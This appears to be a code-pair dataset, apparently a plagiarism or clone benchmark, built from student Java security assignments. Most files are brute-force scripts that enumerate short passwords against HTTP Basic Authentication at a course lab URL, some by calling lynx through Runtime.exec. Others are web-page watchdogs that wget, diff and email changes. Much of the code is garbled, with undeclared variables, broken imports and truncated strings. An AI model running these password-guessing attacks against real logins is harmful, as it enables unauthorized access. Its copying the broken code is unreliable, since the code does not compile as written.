temp1 = i - ( temp1 * lettersLen);
password = password + letters.substring(temp1, (+1));
} else {
temp2 = i / lettersLen;
temp1 = i - (temp2 * lettersLen);
password = letters.substring(temp1, (+1));
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
temp3 = temp2;
temp2 = temp2 / lettersLen;
temp1 = temp3 - (temp2 * lettersLen);
password = letters.substring(temp1, (+1)) + password;
}
authenticate = username + ":" + password;
authenticate = new String(base.encode(authenticate.getBytes()));
httpConnect.addRequestProperty("Authorization", " " + authenticate);
}
httpConnect.connect();
realm = httpConnect.getHeaderField("WWW-Authenticate");
if (realm != null) {
realm = realm.substring(realm.indexOf('"') + 1);
realm = realm.substring(0, realm.indexOf('"'));
}
hostname = url.getHost();
responseCode = httpConnect.getResponseCode();
responseMsg = httpConnect.getResponseMessage();
if (responseCode == 200) {
end = System.currentTimeMillis();
total = (end - start) / 1000;
System.out.println ("Sucessfully Connected " + url);
System.out.println("Login Attempts Required : " + (i-1));
System.out.println("Time Taken in Seconds : " + total);
System.out.println ("Connection Status : " + responseCode + " " + responseMsg);
System.out.println ("Username : " + username);
System.out.println ("Password : " + password);
System.exit( 0 );
} else if (responseCode == 401 && realm != null) {
if (i > 1) {
}
} else {
System.out.println ("What the?... The server replied with unexpected reponse." );
System.out.println (" Unexpected Error Occured While Attempting Connect " + url);
System.out.println ("Connection Status: " + responseCode + responseMsg);
System.out.println ("Unfortunately the password could not recovered.");
System.exit( 0 );
}
i++;
} catch(MalformedURLException e) {
System.out.println("Opps, the URL " + host + " is not valid.");
System.out.println("Please check the URL and try again.");
} catch(IOException e) {
System.out.println(", 't connect " + host + ".");
System.out.println("Please check the URL and try again.");
System.out.println("Other possible causes include website is currently unavailable");
System.out.println(" have internet connection problem.");
}
} while(realm != null);
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
166.java | 197.java | 0 | package java.httputils;
import java.io.IOException;
import java.net.MalformedURLException;
import java.sql.Timestamp;
public class RunnableBruteForce extends BruteForce implements Runnable
{
protected int rangeStart, rangeEnd;
protected boolean stop = false;
public RunnableBruteForce()
{
super();
}
public void run()
{
process();
}
public static void main(String[] args)
{
}
public int getRangeEnd()
{
return rangeEnd;
}
public int getRangeStart()
{
return rangeStart;
}
public void setRangeEnd(int i)
{
rangeEnd = i;
}
public void setRangeStart(int i)
{
rangeStart = i;
}
public boolean isStop()
{
return stop;
}
public void setStop(boolean b)
{
stop = b;
}
public void process()
{
String password = "";
System.out.println(Thread.currentThread().getName() +
"-> workload: " +
this.letters[getRangeStart()] + " " +
this.letters[getRangeEnd() - 1]);
setStart(new Timestamp(System.currentTimeMillis()));
for (int i = getRangeStart();
i < getRangeEnd();
i++)
{
System.out.println(Thread.currentThread().getName() +
"-> Trying words beginning with: " +
letters[i]);
for (int i2 = 0;
i2 < letters.length;
i2++)
{
for (int i3 = 0;
i3 < letters.length;
i3++)
{
if (isStop())
{
return;
}
try
{
char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
String pwd = new String(arr);
if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
{
System.out.println(Thread.currentThread().getName() +
"-> Trying password: " +
pwd);
}
attempts++;
BasicAuthHttpRequest req =
new BasicAuthHttpRequest(
getURL(),
getUserName(),
pwd);
System.out.println("Got the password");
setPassword(pwd);
setEnd(new Timestamp(System.currentTimeMillis()));
setContent(req.getContent().toString());
this.setChanged();
this.notifyObservers(this.getContent());
return;
}
catch (MalformedURLException e)
{
e.printStackTrace();
return;
}
catch (IOException e)
{
}
}
}
}
setEnd(new Timestamp(System.currentTimeMillis()));
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
058.java | 197.java | 0 |
import java.io.*;
import java.util.*;
import java.net.*;
public class BruteForce {
public BruteForce() {
}
public static void main(String[] args) {
String[] validPW = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M",
"N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" };
String attackWP = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
String userID = "";
int trytimes = 0;
int count=52;
String userPassword="";
try {
startmillisecond = System.currentTimeMillis();
for (int i = 0; i < count; i++) {
for (int j = 0; j < count; j++) {
for (int k = 0; k < count; k++) {
trytimes ++;
userPassword = userID + ":" + validPW[i] + validPW[j] + validPW[k];
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
}
for (int i = 0; i < count; i++) {
for (int j = 0; j < count; j++) {
trytimes ++;
userPassword = userID + ":" + validPW[i] + validPW[j];
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
for (int i = 0; i < count; i++) {
userPassword = userID + ":" + validPW[i];
trytimes ++;
int attackOK = new BruteForce().attackURL(userPassword, attackWP);
if (attackOK == 1) {
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try " + trytimes + " times ");
System.exit(1);
}
}
}
catch (Exception ioe) {
System.out.println(ioe.getMessage());
}
finally {
}
}
public int attackURL(String userPassword, String attackWP) {
int rtn = 1;
try {
URL url = new URL(attackWP);
System.out.println("User & Password :" + userPassword);
String encoding = Base64Converter.encode (userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (MalformedURLException e) {
rtn = 2;
System.out.println("Invalid URL");
} catch (IOException e) {
System.out.println("Error URL");
rtn = 2;
}
return rtn;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
251.java | 197.java | 0 | import java.util.*;
import java.io.*;
public class WatchDog {
public WatchDog() {
}
public static void main(String args[]) {
DataInputStream newin;
try{
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec("cp newfile.html oldfile.html");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
173.java | 197.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class Watchdog extends TimerTask
{
public void run()
{
Runtime t = Runtime.getRuntime();
Process pr= null;
String Fmd5,Smd5,temp1;
int index;
try
{
pr = t.exec("md5sum csfirst.html");
InputStreamReader stre = new InputStreamReader(pr.getInputStream());
BufferedReader bread = new BufferedReader(stre);
s = bread.readLine();
index = s.indexOf(' ');
Fmd5 = s.substring(0,index);
System.out.println(Fmd5);
pr = null;
pr = t.exec("wget http://www.cs.rmit.edu./students/");
pr = null;
pr = t.exec("md5sum index.html");
InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());
BufferedReader bread1 = new BufferedReader(stre1);
temp1 = bread1.readLine();
index = temp1.indexOf(' ');
Smd5 = temp1.substring(0,index);
System.out.println(Smd5);
pr = null;
if(Fmd5 == Smd5)
System.out.println(" changes Detected");
else
{
pr = t.exec("diff csfirst.html index.html > report.html");
pr = null;
try{
Thread.sleep(10000);
}catch(Exception e){}
pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.");
}
}catch(java.io.IOException e){}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
045.java | 197.java | 0 | import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
class BruteForce {
String password="";
int num =401;
public static void main (String[] args) {
String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
BruteForce URLcon;
int length = 0;
String passwd="";
int t0,t1;
if (args.length == 0) {
System.err.println (
"Usage : java BruteForce <username>");
return;
}
String username = args[0];
t0=System.currentTimeMillis();
System.out.println (" " + new Date());
System.out.println ("Using BruteForce method attack "+username+"'s password.Please waiting.......");
for (int i=0;i<str.length();i++){
passwd=str.substring(i,i+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
for (int j=0;j<str.length();j++){
passwd =str.substring(i,i+1)+str.substring(j,j+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
for (int m=0;m<str.length();m++){
passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
}
}
}
System.out.println(" not find the password");
}
public BruteForce (String password, String username){
String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;
try {
String userPassword = username+":"+password ;
String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
url = uc.getResponseCode();
}
catch(MalformedURLException e){
System.out.println(e);
}catch(IOException e){
System.out.println(e);
}
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
143.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class BruteForce{
private static URL location;
private static String user;
private BufferedReader input;
private char [] password = {'A', 'A', 'A'};
private int noLetters = 3;
public BruteForce() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
endTime = System.currentTimeMillis();
System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime)));
}
private char[] nextPassword() {
char [] currentPassword = new char[noLetters];
for (int i=0; i<noLetters; i++) {
currentPassword[i] = password[i];
}
boolean loop = true;
int i = noLetters - 1;
while (loop ) {
password[i]++;
loop = false;
if (password[i] > 'Z' && password[i] < 'a') {
password[i] = 'a';
}
else if (password[i] > 'z') {
if (noLetters == 1 && i == 0) {
System.out.println("Password not found");
System.exit(-1);
}
password[i] = 'A';
i--;
loop = true;
if (i<0) {
noLetters--;
for (int j=0; j <noLetters; j++) {
password[j] = 'A';
loop = false;
}
}
}
}
return currentPassword;
}
public static void main(String args[]) {
if (args.length != 2) {
System.out.println("Usage: java BruteForce url user");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
user = new String().concat(args[1]);
new BruteForce();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
char [] currentPassword = nextPassword();
System.out.print(user.concat("-"));
System.out.println(currentPassword);
return new PasswordAuthentication (user, currentPassword);
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
050.java | 197.java | 0 | import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class makePasswords
{
public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
Vector in = new Vector();
public void makePass()
{
try
{
PrintWriter pw = new PrintWriter(new FileWriter("new.txt"));
for(int i = 0; i < alphabet1.length; i++)
{
for(int j = 0; j < alphabet2.length; j++)
{
for(int k = 0; k < alphabet3.length; k++)
{
String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]);
pw.println(newStr);
}
}
}
}catch(Exception ex){}
}
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
public void loadFile()throws NoSuchElementException, IOException
{
try{
bf = new BufferedReader(new FileReader("new.txt"));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{
int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();
if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println("File Loaded Succesfully");
}
}
}
public Vector getVector()
{
return in;
}
public static void main(String args[])
{
makePasswords mP = new makePasswords();
mP.makePass();
Vector v = mP.getVector();
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
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